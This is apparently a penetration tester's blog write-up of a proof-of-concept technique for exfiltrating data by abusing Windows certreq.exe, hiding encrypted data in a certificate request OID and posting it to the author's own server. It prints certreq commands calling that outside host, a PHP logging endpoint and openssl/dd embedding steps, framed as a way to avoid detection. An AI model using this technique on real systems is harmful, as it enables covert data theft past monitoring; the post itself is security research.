CertReq Exfiltration - Getting Data via Native Tools & CSRs!

doyler

Now, finally sharing something new again, I present CertReq exfiltration!

The Spark

It all started one Thursday that I was on the bench with an innocuous looking tweet from subTee. He mentioned that it seemed like certreq.exe could arbitrarily POST to a server. A few people posited that you could send data with this, so I got to work.

Having never followed one

of his tweets all the way down the rabbit hole, I didn't realize how deep it would go.

Note: you may need the Win10 SDK to use some of these tools, depending on your OS version and what you already have installed.

Trying to Help

At first, I just followed the Twitter thread and tried to offer suggestions.

Initially Casey was running into some ASN errors (ASN: 267 CRYPT_E_ASN1_BADTAG). I suggest that he use makecert.exe for a legitimate CSR, and then replace the "rsaEncryption" section of the ASN.1 with his exfiltrated data.

I don't believe he was successful with this, and it was time to take matters into my own hands.

Initial Attempts

First, my certreq.exe was

attempting to connect to an RPC server before sending the CSR.

```
C:\Users\Ray\Documen
ts\CertTest>certreq
-config x.x.x.x exfi
l.csr
Certificate Request
Processor: The RPC s
erver is unavailable
.
```

Running a listener on my remote server, I noticed that using an IP attempts to hit a remote RPC.

```
Connection from [x.x
.x.x] port 135 [tcp/
loc-srv] accepted.
```

Once I switched from an IP to a URL, then it attempted to POST!

```
[21/Jul/2017:14:15:3
5 +0000] "POST /csr
HTTP/1.1" 404 3683
"-" "MS-WebServices/
1.0"
```

I'm not certain what caused the difference in communication, but I was unable to get anything useful from the RPC request.

That said, I at least had a starting point.

Receiving the CSR

First, I attempted to copy the command used verbatim on my site. Unfortunately, that did not work, as I didn't actually have anything at /csr yet.

```
C:\Users\Ray\Documen
ts\CertTest>certreq
-config https://r4y.
pw/csr exfil.csr
Certificate Request
Processor: The remot
e endpoint does not
exist or could not b
e located. 0x803d000
d (-2143485939 WS_E_
ENDPOINT_NOT_FOUND)
```

That said, once I checked my Apache logs, there was a POST attempting to happen.

```
172.74.115.145 - - [
21/Jul/2017:14:15:35
+0000] "POST /csr HT
TP/1.1" 404 3683 "-"
"MS-WebServices/1.0"
```

Next, I setup a basic endpoint at CSR to log the contents of the post to a file.

```
<?php
$post_body =
file_get_contents('p
```

```
hp://input');
file_put_contents('/
var/www/html/csr-pos
t.log', var_export($
post_body, true));
echo "<pre>";
print_r($post_body);
?>
```

After generating a basic CSR with makecert, I attempted to send the CSR to my site again. This worked, and the data was in csr-post.log!

```
root@r4y-01:/var/www
/html# cat csr-post.
log
'<s:Envelope xmlns:a
="http://www.w3.org/
2005/08/addressing"
xmlns:s="http://www.
w3.org/2003/05/soap-
envelope"><s:Header>
<a:Action s:mustUnde
rstand="1">http://sc
hemas.microsoft.com/
windows/pki/2009/01/
enrollment/RST/wstep
</a:Action><a:Messag
eID>urn:uuid:1edd604
e-5ad3-4594-8ca1-88a
3b0ca6543</a:Message
ID><a:To s:mustUnder
stand="1">https://r4
y.pw/csr.php</a:To><
/s:Header><s:Body><R
equestSecurityToken
PreferredLanguage="e
n-US" xmlns="http://
docs.oasis-open.org/
ws-sx/ws-trust/20051
2"><TokenType>http:/
/docs.oasis-open.org
```

```
/wss/2004/01/oasis-2
00401-wss-x509-token
-profile-1.0#X509v3<
/TokenType><RequestT
ype>http://docs.oasi
s-open.org/ws-sx/ws-
trust/200512/Issue</
RequestType><BinaryS
ecurityToken ValueTy
pe="http://schemas.m
icrosoft.com/windows
/pki/2009/01/enrollm
ent#PKCS10" Encoding
Type="http://docs.oa
sis-open.org/wss/200
4/01/oasis-200401-ws
s-wssecurity-secext-
1.0.xsd#base64binary
" a:Id="" xmlns:a="h
ttp://docs.oasis-ope
n.org/wss/2004/01/oa
sis-200401-wss-wssec
urity-utility-1.0.xs
d" xmlns="http://doc
s.oasis-open.org/wss
/2004/01/oasis-20040
1-wss-wssecurity-sec
ext-1.0.xsd">MII...B
uZb</BinarySecurityT
oken><AdditionalCont
ext xmlns="http://sc
hemas.xmlsoap.org/ws
/2006/12/authorizati
on"><ContextItem Nam
e="ccm"><Value>Megat
ron</Value></Context
Item></AdditionalCon
text></RequestSecuri
tyToken></s:Body></s
:Envelope>'
```

Parsing this with the asn1parse method of openssl.exe showed a valid certificate request.

```
C:\Users\Ray\Documen
ts\CertTest>openssl
asn1parse -i -in req
uest.txt
    0:d=0  hl=4 l=13
85 cons: SEQUENCE
    4:d=1  hl=4 l= 8
49 cons:  SEQUENCE
    8:d=2  hl=2 l=
1 prim:   INTEGER
:00
   11:d=2  hl=2 l=
27 cons:   SEQUENCE
   13:d=3  hl=2 l=
25 cons:    SET
   15:d=4  hl=2 l=
23 cons:     SEQUENC
E
   17:d=5  hl=2 l=
3 prim:      OBJECT
:commonName
  ...
  859:d=2  hl=2 l=
9 prim:   OBJECT
:sha1WithRSAEncrypti
on
  870:d=2  hl=2 l=
0 prim:   NULL
  872:d=1  hl=4 l= 5
13 prim:  BIT STRING
```

Wikipedia CSR

First, I realized that I didn't have to generate a new cert from my machine, I could just use the Wikipedia example.

Once I copied their cert, I attempted to POST it to my listener.

```
C:\Users\Ray\Documen
```

```
ts\CertTest>certreq
-config https://r4y.
pw/csr.php wiki-test
.cer
Certificate Request
Processor: The input
data was not in the
expected format or d
id not have the expe
cted value. 0x803d00
00 (-2143485952 WS_E
_INVALID_FORMAT)
```

While it mentions an error with the input data, it actually sent successfully.

```
root@r4y-01:/var/www
/html# cat csr-post.
log
'<s:Envelope xmlns:a
="http://www.w3.org/
2005/08/addressing"
xmlns:s="http://www.
w3.org/2003/05/soap-
envelope"><s:Header>
<a:Action s:mustUnde
rstand="1">http://sc
hemas.microsoft.com/
windows/pki/2009/01/
enrollment/RST/wstep
</a:Action><a:Messag
eID>urn:uuid:e7f4875
6-b239-4ae4-9476-9b6
3ba7d85b4</a:Message
ID><a:To s:mustUnder
stand="1">https://r4
y.pw/csr.php</a:To><
/s:Header><s:Body><R
equestSecurityToken
PreferredLanguage="e
n-US" xmlns="http://
docs.oasis-open.org/
ws-sx/ws-trust/20051
2"><TokenType>http:/
/docs.oasis-open.org
```

```
/wss/2004/01/oasis-2
00401-wss-x509-token
-profile-1.0#X509v3<
/TokenType><RequestT
ype>http://docs.oasi
s-open.org/ws-sx/ws-
trust/200512/Issue</
RequestType><BinaryS
ecurityToken ValueTy
pe="http://schemas.m
icrosoft.com/windows
/pki/2009/01/enrollm
ent#PKCS10" Encoding
Type="http://docs.oa
sis-open.org/wss/200
4/01/oasis-200401-ws
s-wssecurity-secext-
1.0.xsd#base64binary
" a:Id="" xmlns:a="h
ttp://docs.oasis-ope
n.org/wss/2004/01/oa
sis-200401-wss-wssec
urity-utility-1.0.xs
d" xmlns="http://doc
s.oasis-open.org/wss
/2004/01/oasis-20040
1-wss-wssecurity-sec
ext-1.0.xsd">MII...w
TQ/1988G
0H35ED0f9Md5fzoKi5ev
U1wG5WRxdEUPyt3QUXxd
Q69i0C+7</BinarySecu
rityToken><Additiona
lContext xmlns="http
://schemas.xmlsoap.o
rg/ws/2006/12/author
ization"><ContextIte
m Name="ccm"><Value>
Megatron</Value></Co
ntextItem></Addition
alContext></RequestS
ecurityToken></s:Bod
y></s:Envelope>'
```


CertReq

Exfiltration – Data Encryption

With my working CSR in place, it was time to try to exfiltrate some data.

First, I located the rsaEncryption section using asn1parse again.

```
C:\Users\Ray\Documen
ts\CertTest>openssl
asn1parse -i -in wik
i-test.cer
    0:d=0  hl=4 l= 7
16 cons: SEQUENCE
    4:d=1  hl=4 l= 4
36 cons:  SEQUENCE
...
  154:d=4  hl=2 l=
9 prim:     OBJECT
:rsaEncryption
  165:d=4  hl=2 l=
0 prim:     NULL
  167:d=3  hl=4 l= 2
71 prim:    BIT STRI
NG
  442:d=2  hl=2 l=
0 cons:   cont [ 0 ]
  444:d=1  hl=2 l=
13 cons:  SEQUENCE
  446:d=2  hl=2 l=
9 prim:   OBJECT
:md5WithRSAEncryptio
n
```

Next, I decoded the base64 encoded certificate.

```
root@kali:~/cert# ba
se64 -d wiki.txt > c
```

```
ert.bin
```

Using dd, I grabbed the data from the rsaEncryption section.

```
root@kali:~/cert# dd
skip=169 if=cert.bin
bs=1 count=273 | xxd
273+0 records in
273+0 records out
273 bytes copied, 0.
000516148 s, 529 kB/
s
00000000: 010f 0030
8201 0a02 8201 0100
c3ff 53c4  ...0.....
.....S.
00000010: 6570 20fa
13c0 0b3d 3f0b 2d44
7dca 0cb2  ep ....=?
.-D}...
00000020: 80f0 9a4a
6204 0bcc d718 9ba7
837c a412  ...Jb....
....|..
00000030: 55c5 473f
c973 f6ee d21c 42c6
2d98 0f3e  U.G?.s...
.B.-..>
00000040: 488f 1041
3a90 7f92 2786 f371
ec4a 6659  H..A:...'
..q.JfY
00000050: b51f 9dad
9210 eaf3 acaf fb9c
be99 c1f7  ........
.......
00000060: 3e17 ccab
9a6c d199 e598 9349
0f4b eccc  >....l...
..I.K..
00000070: 7c17 3bd4
4eae 72fc 0ac8 b8cf
8505 eba7  |.;.N.r..
.......
```

```
00000080: a3f2 15f3
3bf0 01ef d545 af22
d108 c55d  ....;....
E."...]
00000090: 3f6f 041a
77e5 a79a b5d9 c9d9
db39 d322  ?o..w....
....9."
000000a0: 82b0 71dc
8efb 6bf7 ff33 3d5a
aa9a 1976  ..q...k..
3=Z...v
000000b0: 5c54 b741
daa5 b29a f36e 092c
a26e bb3a  \T.A.....
n.,.n.:
000000c0: 86c9 1a36
95f9 f347 350d 28fe
bccf fff3  ...6...G5
.(.....
000000d0: e5de 2eef
bda1 06ec 57fc b508
44c1 1f67  ........W
...D..g
000000e0: 2544 754f
a67b 967e d2e9 c3ab
db76 28ce  %DuO.{.~.
....v(.
000000f0: 0595 9042
7f75 2afa 2c0a 296f
e719 f3c1  ...B.u*.,
.)o....
00000100: 735b 936c
cd4e a2e7 b1e1 03b1
0203 0100
s[.l.N.........
00000110: 01
.
```

Next, I attempted to encrypt some text using an SSh key and the openssl rsautl.

```
root@r4y-01:~# ssh-k
eygen -f ~/.ssh/id_r
```

```
sa.pub -e -m PKCS8 >
id_rsa.pem.pub
root@r4y-01:~# echo
'This is my encrypte
d data' | openssl rs
autl -encrypt -pubin
-inkey id_rsa.pem.pu
b > message.encrypte
d
root@r4y-01:~# xxd m
essage.encrypted
00000000: 5f9f 0ddd
2b50 990f ecd9 2642
b2dc 8280  _...+P...
.&B....
00000010: d12a 080b
8507 45d1 1739 ae35
8f61 ac40  .*....E..
9.5.a.@
00000020: b864 9d8c
2fa0 c2d1 028a 3558
2ef1 27bf  .d../....
.5X..'.
00000030: 1ecd edd8
8475 847d 82f7 2789
7ccc 7384  .....u.}.
.'.|.s.
00000040: 7fe3 1c27
b75f a350 6e15 1c2e
0aaf 1156  ...'._.Pn
......V
00000050: 16f6 e1b9
09f5 0fab e4d5 790d
de91 7f0c  .........
.y.....
00000060: c26f 2bb8
91ec 90e1 c2df bd0f
bd02 b29d  .o+......
.......
00000070: b26c 91a5
b5ee 9ab6 00aa 5091
d8ce 4630  .l.......
.P...F0
00000080: 65d4 e829
08df b76d c587 0c44
07d4 bad0  e..)...m.
..D....
```

```
00000090: a8f0 cacc
9da2 5e81 237f e4b8
ff6f 08d4  ......^.#
....o..
000000a0: b9f2 2c58
97db 7a11 28fd 230f
7d10 813c  ..,X..z.(
.#.}..<
000000b0: de24 80e8
e653 c209 02c8 42db
9df5 4eb9  .$...S...
.B...N.
000000c0: d4ae 91e1
cf4f 6a3e 5d9d ce47
9bd3 5497  .....Oj>]
..G..T.
000000d0: 335e 69b6
60fd 7320 aa44 2175
b4b6 ed2c  3^i.`.s .
D!u...,
000000e0: 97b0 12ba
d924 8df1 fb86 075f
ab69 f054  .....$...
.._.i.T
000000f0: 3ffc 78a9
c8cb 29eb fa14 71ea
87d2 8c4f  ?.x...)..
.q....O
```

Padding and Replacing rsaEncryption

Additionally, I had to make sure that I had the same length rsaEncryption section before replacing it with my data. The reason for this is that the certificate requests mention the length of the next section. Padding my

section with nulls is easier than changing all the length fields.

```
root@kali:~/cert# wc
-c < message.encrypt
ed
256
root@kali:~/cert# cp
message.encrypted me
ssage-padded.encrypt
ed
root@kali:~/cert# dd
if=/dev/zero bs=1 co
unt=15 >> message-pa
dded.encrypted
15+0 records in
15+0 records out
15 bytes copied, 8.8
08e-05 s, 170 kB/s
root@kali:~/cert# dd
conv=notrunc if=mess
age-padded.encrypted
of=cert-modified.bin
seek=171 bs=1
271+0 records in
271+0 records out
271 bytes copied, 0.
000851286 s, 318 kB/
s
```

CertReq Exfiltration – Shoehorn Attempt

Finally, using the base64 encoded value of my new CSR, I attempted to exfiltrate my data. Unfortunately, I got an

ASN1 bad tag value error.

```
C:\Users\Ray\Documen
ts\CertTest>certreq
-config https://r4y.
pw/csr.php cert-modi
fied.txt
Certificate Request
Processor: ASN1 bad
tag value met. 0x800
9310b (ASN: 267 CRYP
T_E_ASN1_BADTAG)
```

This indicated a private/public key mixup, which made sense considering that I used a different key for my rsaEncryption section. This also meant that certreq was doing more than just ASN.1 validation, since I believe my CSR was still technically valid.

At this point, I was a bit stuck, and didn't think that rsaEncryption would be my point of egress.

OIDs for Fun and Profit!

Next up, I did some research into Microsoft Crypto OIDs.

I believed that I could use any of these in my CSR. In

this case, I arbitrarily chose one that didn't seem suspicious (szOID_RSA_challengePwd.

First, I created a NewRequest inf file for certreq -new.

```
[NewRequest]
Subject = "CN=exfil.
microsoft.com"
HashAlgorithm = sha1
KeyAlgorithm = RSA
KeyLength = 4096
ProviderName = "Micr
osoft RSA SChannel C
ryptographic Provide
r"
ProviderType = 1
[Extensions]
1.2.840.113549.1.9.7
= "X58N3StQmQ/s2SZCs
tyCgNEqCAuFB0XRFzmuN
Y9hrEC4ZJ2ML6DC0QKKN
Vgu8Se/Hs3t2IR1hH2C9
yeJfMxzhH/jHCe3X6NQb
hUcLgqvEVYW9uG5CfUPq
+TVeQ3ekX8Mwm8ruJHsk
OHC370PvQKynbJskaW17
pq2AKpQkdjORjBl1OgpC
N+3bcWHDEQH1LrQqPDKz
J2iXoEjf+S4/28I1LnyL
FiX23oRKP0jD30QgTzeJ
IDo5lPCCQLIQtud9U651
K6R4c9Paj5dnc5Hm9NUl
zNeabZg/XMgqkQhdbS27
SyXsBK62SSN8fuGB1+ra
fBUP/x4qcjLKev6FHHqh
9KMTw=="
```

The data inside of my OID is actually the message.encrypted from

earlier.

```
root@r4y-01:~# base6
4 message.encrypted
X58N3StQmQ/s2SZCstyC
gNEqCAuFB0XRFzmuNY9h
rEC4ZJ2ML6DC0QKKNVgu
8Se/Hs3t2IR1hH2C
9yeJfMxzhH/jHCe3X6NQ
bhUcLgqvEVYW9uG5CfUP
q+TVeQ3ekX8Mwm8ruJHs
kOHC370PvQKynbJs
kaW17pq2AKpQkdjORjBl
1OgpCN+3bcWHDEQH1LrQ
qPDKzJ2iXoEjf+S4/28I
1LnyLFiX23oRKP0j
D30QgTzeJIDo5lPCCQLI
Qtud9U651K6R4c9Paj5d
nc5Hm9NUlzNeabZg/XMg
qkQhdbS27SyXsBK6
2SSN8fuGB1+rafBUP/x4
qcjLKev6FHHqh9KMTw==
```

Next, I used certreq to create a new CSR from this NewRequest. Then, I attempted to send the request to my endpoint.

```
C:\Users\Ray\Documen
ts\CertTest>certreq
-new exfil.inf exten
sion.csr

CertReq: Request Cre
ated

C:\Users\Ray\Documen
ts\CertTest>certreq
-config https://r4y.
pw/csr.php extension
.csr
Certificate Request
Processor: The input
data was not in the
```

```
expected format or d
id not have the expe
cted value. 0x803d00
00 (-2143485952 WS_E
_INVALID_FORMAT)
```

While I received the same error as earlier, the request worked and my application logged it!

```
root@r4y-01:/var/www
/html# cat csr-post.
log
'<s:Envelope xmlns:a
="http://www.w3.org/
2005/08/addressing"
xmlns:s="http://www.
w3.org/2003/05/soap-
envelope"><s:Header>
<a:Action s:mustUnde
rstand="1">http://sc
hemas.microsoft.com/
windows/pki/2009/01/
enrollment/RST/wstep
</a:Action><a:Messag
eID>urn:uuid:91e7b4f
0-b47f-4177-8a72-e4d
5ca028576</a:Message
ID><a:To s:mustUnder
stand="1">https://r4
y.pw/csr.php</a:To><
/s:Header><s:Body><R
equestSecurityToken
PreferredLanguage="e
n-US" xmlns="http://
docs.oasis-open.org/
ws-sx/ws-trust/20051
2"><TokenType>http:/
/docs.oasis-open.org
/wss/2004/01/oasis-2
00401-wss-x509-token
-profile-1.0#X509v3<
/TokenType><RequestT
ype>http://docs.oasi
s-open.org/ws-sx/ws-
```

```
trust/200512/Issue</
RequestType><BinaryS
ecurityToken ValueTy
pe="http://schemas.m
icrosoft.com/windows
/pki/2009/01/enrollm
ent#PKCS10" Encoding
Type="http://docs.oa
sis-open.org/wss/200
4/01/oasis-200401-ws
s-wssecurity-secext-
1.0.xsd#base64binary
" a:Id="" xmlns:a="h
ttp://docs.oasis-ope
n.org/wss/2004/01/oa
sis-200401-wss-wssec
urity-utility-1.0.xs
d" xmlns="http://doc
s.oasis-open.org/wss
/2004/01/oasis-20040
1-wss-wssecurity-sec
ext-1.0.xsd">MII...w
H6av
CyVTnZ9q8P7ginZRrrqQ
8Ds31Xo=</BinarySecu
rityToken><Additiona
lContext xmlns="http
://schemas.xmlsoap.o
rg/ws/2006/12/author
ization"><ContextIte
m Name="ccm"><Value>
Megatron</Value></Co
ntextItem></Addition
alContext></RequestS
ecurityToken></s:Bod
y></s:Envelope>'
```

Using asn1parse, I was able to grab the proper section from my CSR and dump it to a file.

```
root@r4y-01:/var/www
/html# openssl asn1p
arse -i -in request.
txt | grep 834
```

```
  834:d=7  hl=4 l= 2
56 prim:        OCTE
T STRING      [HEX D
UMP]:5F9F0DDD2B50990
FECD92642B2DC8280D12
A080B850745D11739AE3
58F61AC40B8649D8C2FA
0C2D1028A35582EF127B
F1ECDEDD88475847D82F
727897CCC73847FE31C2
7B75FA3506E151C2E0AA
F115616F6E1B909F50FA
BE4D5790DDE917F0CC26
F2BB891EC90E1C2DFBD0
FBD02B29DB26C91A5B5E
E9AB600AA5091D8CE463
065D4E82908DFB76DC58
70C4407D4BAD0A8F0CAC
C9DA25E81237FE4B8FF6
F08D4B9F22C5897DB7A1
128FD230F7D10813CDE2
480E8E653C20902C842D
B9DF54EB9D4AE91E1CF4
F6A3E5D9DCE479BD3549
7335E69B660FD7320AA4
42175B4B6ED2C97B012B
AD9248DF1FB86075FAB6
9F0543FFC78A9C8CB29E
BFA1471EA87D28C4F
root@r4y-01:/var/www
/html# echo "5F9F0DD
D2B50990FECD92642B2D
C8280D12A080B850745D
11739AE358F61AC40B86
49D8C2FA0C2D1028A355
82EF127BF1ECDEDD8847
5847D82F727897CCC738
47FE31C27B75FA3506E1
51C2E0AAF115616F6E1B
909F50FABE4D5790DDE9
17F0CC26F2BB891EC90E
1C2DFBD0FBD02B29DB26
C91A5B5EE9AB600AA509
1D8CE463065D4E82908D
FB76DC5870C4407D4BAD
0A8F0CACC9DA25E81237
FE4B8FF6F08D4B9F22C5
```

```
897DB7A1128FD230F7D1
0813CDE2480E8E653C20
902C842DB9DF54EB9D4A
E91E1CF4F6A3E5D9DCE4
79BD35497335E69B660F
D7320AA442175B4B6ED2
C97B012BAD9248DF1FB8
6075FAB69F0543FFC78A
9C8CB29EBFA1471EA87D
28C4F" > hex
```

I was able to successfully decrypt the section using rsautl, my private key that I generated, and the proper passphrase!

```
root@r4y-01:/var/www
/html# xxd -r -p hex
> encrypted.txt
root@r4y-01:/var/www
/html# openssl rsaut
l -decrypt -inkey ~/
.ssh/id_rsa -in encr
ypted.txt
Enter pass phrase fo
r /root/.ssh/id_rsa:
This is my encrypted
data
```

At this point, I tweeted my first success based on @subTee's CSR exfil idea.

```
root@kali:/var/www/html# openssl rsautl -decrypt -inkey ~/.ssh/id_rsa -in
Enter pass phrase for /root/.ssh/id_rsa:
This is my encrypted data
```

RSA encrypted it and put it in an OID for challengePassword

```
 823:d=7  hl=2 l=   9 prim:        OBJECT            :challengePassword
 834:d=7  hl=4 l= 256 prim:        OCTET STRING      [HEX DUMP]:5F
```

Simplification

Though my process was

now working for getting out data, it was a bit convoluted.

Initially, I realized that I did not need to use symmetric encryption since I didn't overwrite the rsaEncryption section.

In this case, I decided to switch to AES.

First, I encoded my current csr-post.log file using aes-256-cbc. The reason for using this file instead of a text string was to also see if there was a size limit.

```
root@r4y-01:/var/www
/html# openssl aes-2
56-cbc -in csr-post.
log -out message.enc
enter aes-256-cbc en
cryption password:
Verifying - enter ae
s-256-cbc encryption
password:
```

Next, I base64 encoded my data and put it back in my working CSR.

```
root@kali:~/cert# op
enssl asn1parse -i -
in exfil2.txt
    0:d=0  hl=4 l=51
41 cons: SEQUENCE
    4:d=1  hl=4 l=46
05 cons:  SEQUENCE
```

```
    8:d=2  hl=2 l=
1 prim:   INTEGER
:00
  ...
  823:d=7  hl=2 l=
9 prim:        OBJEC
T            :challe
ngePassword
  834:d=7  hl=4 l=37
28 prim:        OCTE
T STRING      [HEX D
UMP]:5361...6C10
 4628:d=1  hl=4 l= 5
13 prim:  BIT STRING
```

Finally, after sending my request, it was properly logged, and I was able to decode it!

```
<span class="prompt"
>root@kali</span>:<s
pan class="dir">~/ce
rt</span># openssl a
es-256-cbc -d -in en
crypted.txt
enter aes-256-cbc de
cryption password:
'<s:Envelope xmlns:a
="http://www.w3.org/
2005/08/addressing"
xmlns:s="http://www.
w3.org/2003/05/soap-
envelope"><s:Header>
<a:Action s:mustUnde
rstand="1">http://sc
hemas.microsoft.com/
windows/pki/2009/01/
enrollment/RST/wstep
</a:Action><a:Messag
eID>urn:uuid:91e7b4f
0-b47f-4177-8a72-e4d
5ca028576</a:Message
ID><a:To s:mustUnder
stand="1">https://r4
y.pw/csr.php</a:To><
```

/s:Header><s:Body><R
equestSecurityToken
PreferredLanguage="e
n-US" xmlns="http://
docs.oasis-open.org/
ws-sx/ws-trust/20051
2"><TokenType>http:/
/docs.oasis-open.org
/wss/2004/01/oasis-2
00401-wss-x509-token
-profile-1.0#X509v3<
/TokenType><RequestT
ype>http://docs.oasi
s-open.org/ws-sx/ws-
trust/200512/Issue</
RequestType><BinaryS
ecurityToken ValueTy
pe="http://schemas.m
icrosoft.com/windows
/pki/2009/01/enrollm
ent#PKCS10" Encoding
Type="http://docs.oa
sis-open.org/wss/200
4/01/oasis-200401-ws
s-wssecurity-secext-
1.0.xsd#base64binary
" a:Id="" xmlns:a="h
ttp://docs.oasis-ope
n.org/wss/2004/01/oa
sis-200401-wss-wssec
urity-utility-1.0.xs
d" xmlns="http://doc
s.oasis-open.org/wss
/2004/01/oasis-20040
1-wss-wssecurity-sec
ext-1.0.xsd">MII...3
1Xo=</BinarySecurity
Token><AdditionalCon
text xmlns="http://s
chemas.xmlsoap.org/w
s/2006/12/authorizat
ion"><ContextItem Na
me="ccm"><Value>Mega
tron</Value></Contex
tItem></AdditionalCo
ntext></RequestSecur
ityToken></s:Body></

```
s:Envelope>'
```

Note that I initially had an issue with aes-256-cbc encrypting and decrypting on two different machines. The reason for this is that they were running two different versions of OpenSSL.

CertReq Exfiltration – Conclusion

This was an awesome exercise, and I'm glad that I followed the rabbit hole all the way down.

While this is a slightly manual process, it is still a great way to exfiltrate data using CSRs.

I am working on a bettter client and endpoint for this technique, and will release them as soon as they are complete. That said, they will not necessarily use native tools directly, so this method is your best bet for not getting caught. While this is far from the only method, I'm really liking

certreq exfiltration so far.

If you have any ideas or comments in the meantime, then please let me know!

Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester

for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.